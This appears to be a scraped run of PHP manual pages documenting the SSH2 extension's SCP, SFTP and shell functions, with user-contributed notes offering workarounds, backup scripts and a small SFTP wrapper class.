<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_recv($connection, '/remote/filename', '/local/filename');
?>

See Also

  • ssh2_scp_send() - Send a file via SCP
  • copy() - Copies file

User Contributed Notes

tom at itneo dot com 04-Jun-2011 12:40
This program uses find to locate files on a remote system and scp receive them.  I used find for its many built in options.

<?php
// HOW MANY MINUTES OLD SHOULD THE FILE BE?
$file_age = 1;

// DEFINE THE LOCAL DIRECTORY (BE SURE TO USE TRAILING BACKSLASH!)
$directory_local = "/usr/home/user/";

// DEFINE THE REMOTE DIRECTORY (BE SURE TO USE TRAILING BACKSLASH!)
$directory_remote = "/usr/home/user/dropoff/";

// SSH CONNECTION INFO
$connection = ssh2_connect('ip_address/hostname', 22);
ssh2_auth_password($connection, 'user_name', 'password');

// EXECUTE THE COMMAND
$stream = ssh2_exec($connection, "find $directory_remote* -mmin +$file_age");
stream_set_blocking($stream, true);

// GET AN ARRAY OF THE OUTPUT
$arr = explode("\n", stream_get_contents($stream));

// DELETE EMPTY ELEMENTS
foreach ($arr as $value){

    if ($value != ''){

        $filename = str_replace($directory_remote, '', $value);

        if (ssh2_scp_recv($connection, $value, $directory_local . $filename) != FALSE){

            print "SCPd $value > $directory_local$filename\n";
        } else {

            print "Error SCPing: $value > $directory_local$filename\n";
        }
    }
}

fclose($stream);
?>
ojovirtual 25-May-2011 01:37
Trying to get a remote file with spaces in its name?

Never forget to use quotes in the remote filename, but never in the local one.

Example:

<?php
$remote_file_name="my name with spaces.ext"

ssh2_scp_recv($cn,$remote_file_name,$local_path."/".$remote_file_name); // ERROR

ssh2_scp_recv($cn,"\"".$remote_file_name."\"",$local_path."/".$remote_file_name); //OK

ssh2_scp_recv($cn,"\"".$remote_file_name."\"","\"".$local_path."/".$remote_file_name."\""); //ERROR
?>

So, the quotes in the file name are needed only for remote, not for local.
luis dot sv at gmail dot com 19-May-2010 03:16
This function can be used to copy all files into a directory on a remote server, using SSH and SCP.

<?php
$connection = ssh2_connect('host', 22);
ssh2_auth_password($connection, 'user', 'password');

$remote_dir="/remote_dir/";
$local_dir="/local_dir/";

$com ="ls $remote_dir";
$stream = ssh2_exec($connection, $com);
stream_set_blocking($stream,true);
$cmd=fread($stream,4096);

$arr=explode("\n",$cmd);

$total_files=sizeof($arr);

for($i=0;$i<$total_files;$i++){
    $file_name=trim($arr[$i]);
    if($file_name!=''){
        $remote_file=$remote_dir.$file_name;
        $local_file=$local_dir.$file_name;

        if(ssh2_scp_recv($connection, $remote_file,$local_file)){
            echo "File ".$file_name." was copied to $local_dir<br />";
        }
    }
}

fclose($stream);
?>
gordon_e_rouse at yahoo dot com dot au 28-May-2008 03:19
Being still in Beta, I guess it will have it quirks. One I found was that if the remote filename has brackets in it, it just wont work.

I should file it as a bug report, but find the process all intimidating really - I am always just a stupid user who does not know what he is on about!

But anyway - the work around of renaming the file before downloading it works fine.

use:
$_new_path = str_replace("(", "", $_path );
$_new_path = str_replace(")", "", $_new_path );

ssh2_sftp_rename( $sftp,  $_path, $_new_path );

To tell you the truth I haven't determined if it is the open or close bracket, or both. Someone else can investigate that.

Meanwhile, it would be good to know all the bad filename characters which this function has problems with, no doubt there are more.
miller4980 at msn dot com 23-Apr-2008 11:10
Problem:
  can't pass an array to sftp_scp_rec()
  also: for Windows: sftp was not happy when connecting to   a  Windows dir.
  eg: sftp_scp_rec($connection, "remote/directory","local/$directory[$i]");
Solution:
The array was placing whitespace on the end of the variable.
trim(" ","",$directory[$i]);

connecting to Windows dir:
sftp_scp_rec($connection, "linux/directory","\\windows\share[$i]");

This script backs up remote Linux directories to a local Windows directory based on modified dates of files.

The Idea is to get a complete back up of a directory via ftp client etc.
Then when the script runs it will back up newly modified files only.

<?php
//error_reporting(0);

$file        ='';
$arr2        ='';
$arr1        ='';
$ldir         = '';

$remotedirs[0]     = "Domain name or IP address/";
$remotedirs[1]     = "Domain name or IP address/";
$remotedirs[2]     = "Domain name or IP address/";
$remotedirs[3]     = "Domain name or IP address/";

    $fh = fopen("c:\dirlist.txt","w");
    fwrite($fh, " ");
    fclose($fh);
foreach ($remotedirs as $val){
echo $remotedir = "/data/www/$val/";
$localdir     = "\\\\192.168.0.234\\C$\\xampp\\htdocs\\$val\\";
backupwebsites($remotedir,$localdir);
}
function backupwebsites($remotedir,$localdir){
    $connection = ssh2_connect(Host IP or Domain, 22);
    $com ="ls -R -lt $remotedir";
    ssh2_auth_password($connection, 'user', 'password');
    $stream = ssh2_exec($connection, $com );
    stream_set_blocking($stream, true);
    $output = stream_get_contents($stream);

    $fh = fopen("c:\dirlist.txt","a+");
    fwrite($fh, $output);
    fclose($fh);
    $handle = @fopen('c:\dirlist.txt', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
    foreach ($lines as $val)
    {
        $yr = date('Y-m-d');
        $i++;
        $arr1=split("200",$val);
        $arr2=explode(" ",$arr1[1]);
        if("200".$arr2[0]==$yr)
        {
            //if("200".$arr2[0]=='2008-04-21'){    //for testing
            $remotedir = $remotedir.$arr2[2];
            $cpy=$arr2[2];
            $file = $localdir;
            glue($connection,$remotedir,$localdir,$cpy);
        }
    }
}
//echo $i;
function glue($connection,$remotedir,$localdir,$cpy){
    $ldir[0] = "$localdir";
    $ldir[1]="$cpy";
    $file = $ldir[0].$ldir[1];
    $file = trim($file);
     $file;
 gop($connection,$remotedir,$file);
}
function gop($connection,$remotedir,$file){
echo $file;

ssh2_scp_recv(
$connection,
$remotedir,
$file);
}

?>
chad dot [the letter d] johnson AT gmail 26-Mar-2008 12:23
If when trying to use this function you get "Warning: ssh2_scp_send(): Failure creating remote file," then try using

$data = file_get_contents("ssh2.sftp://$sftp/path/to/file");
jcalcote at novell dot com 08-Aug-2006 01:51
If you scan a remote directory for a list of files by using opendir and readdir on a path obtained from ssh2_sftp(), you'll end up with a list of full file paths containing the ssh2.sftp://$sftp prefix, where $sftp is the sftp resource string returned by ssh2_sftp.

If you later attempt to use ssh2_scp_recv() (even on the same connection!) to copy files locally from the remote path, the copy operation will fail because ssh2_scp_recv() doesn't like the wrapper path prefix. It expects remote file references to be rooted at the base of the remote file system (eg., '/').

Moral: ssh2_scp_recv() likes paths rooted at the file system root on the remote machine, not full network paths. This routine will fail with an obscure message about not being able to copy the files - yet when you go look it works fine. Worse, when you connect and copy them from an scp shell session, it also works fine.
ssh2_publickey_remove
ssh2_scp_send
SSH2 Functions


Send a file via SCP

ssh2_scp_recv
ssh2_sftp_lstat
SSH2 Functions
PHP Manual

ssh2_scp_send

(PECL ssh2 >= 0.9.0)

ssh2_scp_send — Send a file via SCP

Description

bool ssh2_scp_send ( resource $session , string $local_file , string $remote_file [, int $create_mode = 0644 ] )

Copy a file from the local filesystem to the remote server using the SCP protocol.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

local_file

Path to the local file.

remote_file

Path to the remote file.

create_mode

The file will be created with the mode specified by create_mode.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Uploading a file via SCP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_send($connection, '/local/filename', '/remote/filename', 0644);
?>

See Also

  • ssh2_scp_recv() - Request a file via SCP
  • copy() - Copies file

User Contributed Notes

dypa at bk dot ru 15-Nov-2010 04:57
solution of uploading dir with space (don't forget " symbols)

<?php
ssh2_scp_send($connection, '/local/file with space.txt', '"/remote/file with space.txt"', 0777);
?>
philip at independentliving dot se 10-May-2010 12:08
If the server you are sending to is ubuntu 8 or 9 and you can't send files then check that your user has write permissions for /dev/null. Gets me every time. Add the line:
chmod 666 /dev/null
to /etc/rc.local before the exit 0 line.
emmanuel dot kartmann at prosdk dot com 02-Apr-2010 06:23
On Windows, I had trouble using ssh2_scp_send: files copied to a remote server where incomplete (truncated) and/or locked (error message : "access denied"). The back-end is also on Windows, using CopSSH (cygwin-based SSH server).

The SSH session was kept open - and the file were never flushed to disk.

There's a workaround though - make an explicit call to "exit" to close the session (flushing file content to disk):

<?php
  $objConnection = ssh2_connect($strHost, $strPort, $methods, $callbacks);
  ssh2_auth_password($objConnection, $strUser, $strPassword);
  ssh2_scp_send($objConnection , $strSource, $strDest);

  // Add this to flush buffers/close session
  ssh2_exec($objConnection, 'exit');
?>
stefanov at uk dot ibm dot com 02-May-2008 02:07
In addition to my previous post, I figured out that sftp->fopen->file_get_contents->fwrite has much better performance than ssh2_scp_send.

I've used the following code to test:

<?php
$srcFile = '/var/tmp/dir1/file_to_send.txt';
$dstFile = '/var/tmp/dir2/file_received.txt';

// Create connection the the remote host
$conn = ssh2_connect('my.server.com', 22);

// Create SFTP session
$sftp = ssh2_sftp($conn);

$sftpStream = @fopen('ssh2.sftp://'.$sftp.$dstFile, 'w');

try {

    if (!$sftpStream) {
        throw new Exception("Could not open remote file: $dstFile");
    }

    $data_to_send = @file_get_contents($srcFile);

    if ($data_to_send === false) {
        throw new Exception("Could not open local file: $srcFile.");
    }

    if (@fwrite($sftpStream, $data_to_send) === false) {
        throw new Exception("Could not send data from file: $srcFile.");
    }

    fclose($sftpStream);

} catch (Exception $e) {
    error_log('Exception: ' . $e->getMessage());
    fclose($sftpStream);
}
?>

For the test I've sent three files with total size of 6kB, and the times to send including connect to the server were:

SFTP -> 15 sec.
ssh2_scp_send -> 22 sec.

Cheers,

Pimmy
stefanov at uk dot ibm dot com 25-Apr-2008 02:23
After some testing I figured out that ssh2_scp_send does not work exactly as the standard scp command:

- Works: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/file_02.txt');
- Wrong: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp'); (Creates file with name 'tmp')
- Fails: ssh2_scp_send($conn, '/var/tmp/file_01.txt', /var/tmp/');
- Fails: ssh2_scp_send($conn, '/dirname', /var/tmp/'); (No recursion)
- Fails: ssh2_scp_send($conn, '/dirname/*', /var/tmp/'); (Cannot copy more than one file.)

Cheers,

Pimmy
ssh2_scp_recv
ssh2_sftp_lstat
SSH2 Functions


Stat a symbolic link

ssh2_scp_send
ssh2_sftp_mkdir
SSH2 Functions
PHP Manual

ssh2_sftp_lstat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_lstat — Stat a symbolic link

Description

array ssh2_sftp_lstat ( resource $sftp , string $path )

Stats a symbolic link on the remote filesystem without following the link.

This function is similar to using the lstat() function with the ssh2.sftp:// wrapper in PHP 5 and returns the same values.

Parameters

sftp

path

Path to the remote symbolic link.

Return Values

See the documentation for stat() for details on the values which may be returned.

Examples

Example #1 Stating a symbolic link via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_lstat($sftp, '/path/to/symlink');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

See Also

  • ssh2_sftp_stat() - Stat a file on a remote filesystem
  • lstat() - Gives information about a file or symbolic link
  • stat() - Gives information about a file

User Contributed Notes

There are no user contributed notes for this page.
ssh2_scp_send
ssh2_sftp_mkdir
SSH2 Functions


Create a directory

ssh2_sftp_lstat
ssh2_sftp_readlink
SSH2 Functions
PHP Manual

ssh2_sftp_mkdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_mkdir — Create a directory

Description

bool ssh2_sftp_mkdir ( resource $sftp , string $dirname [, int $mode = 0777 [, bool $recursive = false ]] )

Creates a directory on the remote file server with permissions set to mode.

This function is similar to using mkdir() with the ssh2.sftp:// wrapper.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

dirname

Path of the new directory.

mode

Permissions on the new directory.

recursive

If recursive is TRUE any parent directories required for dirname will be automatically created as well.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_mkdir($sftp, '/home/username/newdir');
/* Or:  mkdir("ssh2.sftp://$sftp/home/username/newdir"); */
?>

See Also

  • mkdir() - Makes directory
  • ssh2_sftp_rmdir() - Remove a directory

User Contributed Notes

There are no user contributed notes for this page.
ssh2_sftp_lstat
ssh2_sftp_readlink
SSH2 Functions


Return the target of a symbolic link

ssh2_sftp_mkdir
ssh2_sftp_realpath
SSH2 Functions
PHP Manual

ssh2_sftp_readlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_readlink — Return the target of a symbolic link

Description

string ssh2_sftp_readlink ( resource $sftp , string $link )

Returns the target of a symbolic link.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

link

Path of the symbolic link.

Return Values

Returns the target of the symbolic link.

Examples

Example #1 Reading a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$target = ssh2_sftp_readlink($sftp, '/tmp/mysql.sock');
/* $target is now (e.g.): '/var/run/mysql.sock' */
?>

See Also

  • readlink() - Returns the target of a symbolic link
  • ssh2_sftp_symlink() - Create a symlink

User Contributed Notes

There are no user contributed notes for this page.
ssh2_sftp_mkdir
ssh2_sftp_realpath
SSH2 Functions


Resolve the realpath of a provided path string

ssh2_sftp_readlink
ssh2_sftp_rename
SSH2 Functions
PHP Manual

ssh2_sftp_realpath

(PECL ssh2 >= 0.9.0)

ssh2_sftp_realpath — Resolve the realpath of a provided path string

Description

string ssh2_sftp_realpath ( resource $sftp , string $filename )

Translates filename into the effective real path on the remote filesystem.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

Return Values

Returns the real path as a string.

Examples

Example #1 Resolving a pathname

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

$realpath = ssh2_sftp_realpath($sftp, '/home/username/../../../..//./usr/../etc/passwd');
/* $realpath is now: '/etc/passwd' */
?>

See Also

  • realpath() - Returns canonicalized absolute pathname
  • ssh2_sftp_symlink() - Create a symlink
  • ssh2_sftp_readlink() - Return the target of a symbolic link

User Contributed Notes

There are no user contributed notes for this page.
ssh2_sftp_readlink
ssh2_sftp_rename
SSH2 Functions


Rename a remote file

ssh2_sftp_realpath
ssh2_sftp_rmdir
SSH2 Functions
PHP Manual

ssh2_sftp_rename

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rename — Rename a remote file

Description

bool ssh2_sftp_rename ( resource $sftp , string $from , string $to )

Renames a file on the remote filesystem.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

from

The current file that is being renamed.

to

The new file name that replaces from.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Renaming a file via sftp

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rename($sftp, '/home/username/oldname', '/home/username/newname');
?>

See Also

  • rename() - Renames a file or directory

User Contributed Notes

thomas dot hebinck at digionline dot de 10-Nov-2011 09:57
An already existing file will NOT be overwritten.

http://www.openssh.com/txt/draft-ietf-secsh-filexfer-02.txt

"It is an error if there already exists a file with the name specified by newpath."
ssh2_sftp_realpath
ssh2_sftp_rmdir
SSH2 Functions


Remove a directory

ssh2_sftp_rename
ssh2_sftp_stat
SSH2 Functions
PHP Manual

ssh2_sftp_rmdir

(PECL ssh2 >= 0.9.0)

ssh2_sftp_rmdir — Remove a directory

Description

bool ssh2_sftp_rmdir ( resource $sftp , string $dirname )

Removes a directory from the remote file server.

This function is similar to using rmdir() with the ssh2.sftp:// wrapper.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

dirname

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Removing a directory on a remote server

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_rmdir($sftp, '/home/username/deltodel');
/* Or:  rmdir("ssh2.sftp://$sftp/home/username/dirtodel"); */
?>

See Also

  • rmdir() - Removes directory
  • ssh2_sftp_mkdir() - Create a directory

User Contributed Notes

There are no user contributed notes for this page.
ssh2_sftp_rename
ssh2_sftp_stat
SSH2 Functions


Stat a file on a remote filesystem

ssh2_sftp_rmdir
ssh2_sftp_symlink
SSH2 Functions
PHP Manual

ssh2_sftp_stat

(PECL ssh2 >= 0.9.0)

ssh2_sftp_stat — Stat a file on a remote filesystem

Description

array ssh2_sftp_stat ( resource $sftp , string $path )

Stats a file on the remote filesystem following any symbolic links.

This function is similar to using the stat() function with the ssh2.sftp:// wrapper in PHP 5 and returns the same values.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

path

Return Values

See the documentation for stat() for details on the values which may be returned.

Examples

Example #1 Stating a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);
$statinfo = ssh2_sftp_stat($sftp, '/path/to/file');

$filesize = $statinfo['size'];
$group = $statinfo['gid'];
$owner = $statinfo['uid'];
$atime = $statinfo['atime'];
$mtime = $statinfo['mtime'];
$mode = $statinfo['mode'];
?>

See Also

  • ssh2_sftp_lstat() - Stat a symbolic link
  • lstat() - Gives information about a file or symbolic link
  • stat() - Gives information about a file

User Contributed Notes

vanscot on gemail 27-Mar-2008 12:53
for some unkwon reason, stream_set_timeout() does not work on ssh2_exec, and strem_set_blocking (on my personal case) just hangs the script until it hits the max_execution_time.
Using sleep() or usleep() does not help either, because they are arbitrary and the command passed to ssh2_exec may have not finished yet.

The (best?) way to workaround this case was using a sh script on the remote server an a file as a handshake, the using this function to stat the file and, given a certain rule, fetching the result using stream_get_contents().

The sh script should create a dummy not zero size file (the handshake), run the commands then truncate the file (finished execution of the command). On the other side, the php script, should be stating the file until it gets a 0 size and then fetch the results.

I hope that this would be usefull to somebody else until stream_set_timeout() works on ssh2_exec or the functions adds a "timeout" parameter.
ssh2_sftp_rmdir
ssh2_sftp_symlink
SSH2 Functions


Create a symlink

ssh2_sftp_stat
ssh2_sftp_unlink
SSH2 Functions
PHP Manual

ssh2_sftp_symlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_symlink — Create a symlink

Description

bool ssh2_sftp_symlink ( resource $sftp , string $target , string $link )

Creates a symbolic link named link on the remote filesystem pointing to target.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

target

Target of the symbolic link.

link

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a symbolic link

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_symlink($sftp, '/var/run/mysql.sock', '/tmp/mysql.sock');
?>

See Also

  • ssh2_sftp_readlink() - Return the target of a symbolic link
  • symlink() - Creates a symbolic link

User Contributed Notes

There are no user contributed notes for this page.
ssh2_sftp_stat
ssh2_sftp_unlink
SSH2 Functions


Delete a file

ssh2_sftp_symlink
ssh2_sftp
SSH2 Functions
PHP Manual

ssh2_sftp_unlink

(PECL ssh2 >= 0.9.0)

ssh2_sftp_unlink — Delete a file

Description

bool ssh2_sftp_unlink ( resource $sftp , string $filename )

Deletes a file on the remote filesystem.

Parameters

sftp

An SSH2 SFTP resource opened by ssh2_sftp().

filename

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Deleting a file

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);

ssh2_sftp_unlink($sftp, '/home/username/stale_file');
?>

See Also

  • unlink() - Deletes a file

User Contributed Notes

There are no user contributed notes for this page.
ssh2_sftp_symlink
ssh2_sftp
SSH2 Functions


Initialize SFTP subsystem

ssh2_sftp_unlink
ssh2_shell
SSH2 Functions
PHP Manual

ssh2_sftp

(PECL ssh2 >= 0.9.0)

ssh2_sftp — Initialize SFTP subsystem

Description

resource ssh2_sftp ( resource $session )

Request the SFTP subsystem from an already connected SSH2 server.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

Return Values

This method returns an SSH2 SFTP resource for use with all other ssh2_sftp_*() methods and the ssh2.sftp:// fopen wrapper.

Examples

Example #1 Opening a file via SFTP

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$sftp = ssh2_sftp($connection);

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');
?>

See Also

  • ssh2_scp_recv() - Request a file via SCP
  • ssh2_scp_send() - Send a file via SCP

User Contributed Notes

sandipshah at vthrive dot com 16-Nov-2009 03:05
In

$stream = fopen("ssh2.sftp://$sftp/path/to/file", 'r');

please make sure that you are specifying the "absolute" path to a file.

If not, you'll get errors like

"Unable to open file ..."

The reasoning is simple ... ssh2.sftp://$sftp points to the "root" directory on the remote server, where, most likely, one does not have access.

It is necessary to point it to your "home" directory.  For example, "ssh2.sftp://$sftp/home/username/filename" ... where "/home/username" is where your home directory is.
bas weerman 08-Jul-2008 03:13
I changed the read function to:

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $size = $this->getFileSize($remote_file);
        $contents = '';
        $read = 0;
        $len = $size;
        while ($read < $len && ($buf = fread($stream, $len - $read))) {
          $read += strlen($buf);
          $contents .= $buf;
        }
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function getFileSize($file){
      $sftp = $this->sftp;
        return filesize("ssh2.sftp://$sftp$file");
    }
tom at r dot je 02-Jul-2008 09:33
Not sure if this is a bug of some kind of security feature.

When reading files using ssh2.sftp anything inside php tags is inexplicably stripped.

foo.php
one
<?
echo 'two';
?>
echo 'three';

$stream = fopen("ssh2.sftp://$sftp$file", 'r');
echo filesize("ssh2.sftp://$sftp$file"); //CORRECT
echo fread($stream, filesize("ssh2.sftp://$sftp$file")); //prints "onethree"

Not sure why this happens and haven't found a workaround.
bas weerman 14-May-2008 12:22
I added some functionality for scanning the filesystem and receiving and deleting files.

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " . "and password $password.");
        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");
        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");
        @fclose($stream);
    }

        function scanFilesystem($remote_file) {
              $sftp = $this->sftp;
            $dir = "ssh2.sftp://$sftp$remote_file";
              $tempArray = array();
            $handle = opendir($dir);
          // List all the files
            while (false !== ($file = readdir($handle))) {
            if (substr("$file", 0, 1) != "."){
              if(is_dir($file)){
//                $tempArray[$file] = $this->scanFilesystem("$dir/$file");
               } else {
                 $tempArray[]=$file;
               }
             }
            }
           closedir($handle);
          return $tempArray;
        }

    public function receiveFile($remote_file, $local_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'r');
        if (! $stream)
            throw new Exception("Could not open file: $remote_file");
        $contents = fread($stream, filesize("ssh2.sftp://$sftp$remote_file"));
        file_put_contents ($local_file, $contents);
        @fclose($stream);
    }

    public function deleteFile($remote_file){
      $sftp = $this->sftp;
      unlink("ssh2.sftp://$sftp$remote_file");
    }
}
duke1 at drakkon dot net 23-Apr-2008 08:38
if anyone is interested on how to get a directory listing:
$SSH_CONNECTION= ssh2_connect('shell.example.com', 22);
ssh2_auth_password($SSH_CONNECTION, 'username', 'password');
//-------------------------------------------------------------------
//this function finds all files within  given directory and returns them
function scanFilesystem($dir) {
    $tempArray = array();
    $handle = opendir($dir);
  // List all the files
    while (false !== ($file = readdir($handle))) {
    if (substr("$file", 0, 1) != "."){
           if(is_dir($file)){
            $tempArray[$file]=scanFilesystem("$dir/$file");
        } else {
            $tempArray[]=$file;
        }
    }
    }
   closedir($handle);
  return $tempArray;
}

//-------------------------------------------------------------------
$sftp = ssh2_sftp($SSH_CONNECTION);

//code to get listing of all OUTGOING files
$dir = "ssh2.sftp://$sftp/outgoing";
$outgoing = scanFilesystem($dir);
sort($outgoing);
print_r($outgoing);
Curtis Wyatt 28-Jan-2008 07:58
The sftp class provided by David Barnes works great.  However, if you get errors about fopen and it failing to open a stream, try the fully qualified path on the remote server.

For example, if you are uploading a file to /Users/username/Sites/file.txt this may not work:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

but this will:

<?php
try {
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/Users/username/Sites/file.txt");
}
catch (Exception $e) {
    echo $e->getMessage() . "\n";
}
?>

Don't assume that since you are connecting as that user that you are starting in its home space.

Another possible option is that you need to use http://us.php.net/manual/en/function.ssh2-sftp-mkdir.php first to make the directory if it does not exist already, and then upload the file into it.
David Barnes 15-Nov-2006 03:08
Here is an example of how to send a file with SFTP:

<?php

class SFTPConnection
{
    private $connection;
    private $sftp;

    public function __construct($host, $port=22)
    {
        $this->connection = @ssh2_connect($host, $port);
        if (! $this->connection)
            throw new Exception("Could not connect to $host on port $port.");
    }

    public function login($username, $password)
    {
        if (! @ssh2_auth_password($this->connection, $username, $password))
            throw new Exception("Could not authenticate with username $username " .
                                "and password $password.");

        $this->sftp = @ssh2_sftp($this->connection);
        if (! $this->sftp)
            throw new Exception("Could not initialize SFTP subsystem.");
    }

    public function uploadFile($local_file, $remote_file)
    {
        $sftp = $this->sftp;
        $stream = @fopen("ssh2.sftp://$sftp$remote_file", 'w');

        if (! $stream)
            throw new Exception("Could not open file: $remote_file");

        $data_to_send = @file_get_contents($local_file);
        if ($data_to_send === false)
            throw new Exception("Could not open local file: $local_file.");

        if (@fwrite($stream, $data_to_send) === false)
            throw new Exception("Could not send data from file: $local_file.");

        @fclose($stream);
    }
}

try
{
    $sftp = new SFTPConnection("localhost", 22);
    $sftp->login("username", "password");
    $sftp->uploadFile("/tmp/to_be_sent", "/tmp/to_be_received");
}
catch (Exception $e)
{
    echo $e->getMessage() . "\n";
}

?>
ssh2_sftp_unlink
ssh2_shell
SSH2 Functions


Request an interactive shell

ssh2_sftp
ssh2_tunnel
SSH2 Functions
PHP Manual

ssh2_shell

(PECL ssh2 >= 0.9.0)

ssh2_shell — Request an interactive shell

Description

resource ssh2_shell ( resource $session [, string $term_type = "vanilla" [, array $env [, int $width = 80 [, int $height = 25 [, int $width_height_type = SSH2_TERM_UNIT_CHARS ]]]]] )

Open a shell at the remote end and allocate a stream for it.

Parameters

session

An SSH connection link identifier, obtained from a call to ssh2_connect().

term_type

term_type should correspond to one of the entries in the target system's /etc/termcap file.

env

env may be passed as an associative array of name/value pairs to set in the target environment.

width

Width of the virtual terminal.

height

Height of the virtual terminal.

width_height_type

width_height_type should be one of SSH2_TERM_UNIT_CHARS or SSH2_TERM_UNIT_PIXELS.

Return Values

Examples

Example #1 Executing a command

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_shell($connection, 'vt102', null, 80, 24, SSH2_TERM_UNIT_CHARS);
?>

See Also

  • ssh2_exec() - Execute a command on a remote server
  • ssh2_tunnel() - Open a tunnel through a remote server
  • ssh2_fetch_stream() - Fetch an extended data stream

User Contributed Notes

tsschulz at gmx dot net 11-Jan-2011 08:07
In my case the ssh2_shell doesn't work every time. There were many problems:
- If I use stream_get_contents, the command(s) never executed
- with while ($buf = fgets...) the loop never stops
- without sleep(1) before stream_set_blocking, the command wasn't execute every time. Anyone knows why?
That's what I made, and it works - but I think it isn't what it should be:
<?php
        $strCommand = 'tar -C /path/to/extract -xjf /path/from/file.tar.bz2';
        $sshStream = ssh2_shell($this->sshSession, 'xterm', null, 120, 24, SSH2_TERM_UNIT_CHARS);
        fwrite($sshStream, $strCommand . PHP_EOL);
        sleep(1);
        stream_set_blocking($sshStream, true);
        $sshUntarRetval = "";
        while ($buf = fgets($sshStream,4096)) {
        flush();
            $sshUntarRetval .= $buf;
            if (strpos($buf, 'tar -C') !== false)
            {
                break;
            }
        }
        fclose($sshStream);
?>
stefanov at uk dot ibm dot com 02-May-2008 08:26
Do not use \n to end the command. Some server will fail to process. Use always the standard for PHP end of line: PHP_EOL

'suri at suribala dot com"'s example should be modified as follows (also change the double quotes to single, for better performance):

<?php

$con=ssh2_connect('192.168.0.1', 22);
ssh2_auth_password($con, 'user', 'password');
$shell=ssh2_shell($con, 'xterm');
fwrite( $shell, 'cd /dir_one;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);
fwrite( $shell, 'cd /dir_two;'.PHP_EOL);
fwrite( $shell, 'ls -la;'.PHP_EOL);

?>

Cheers,

Pimmy
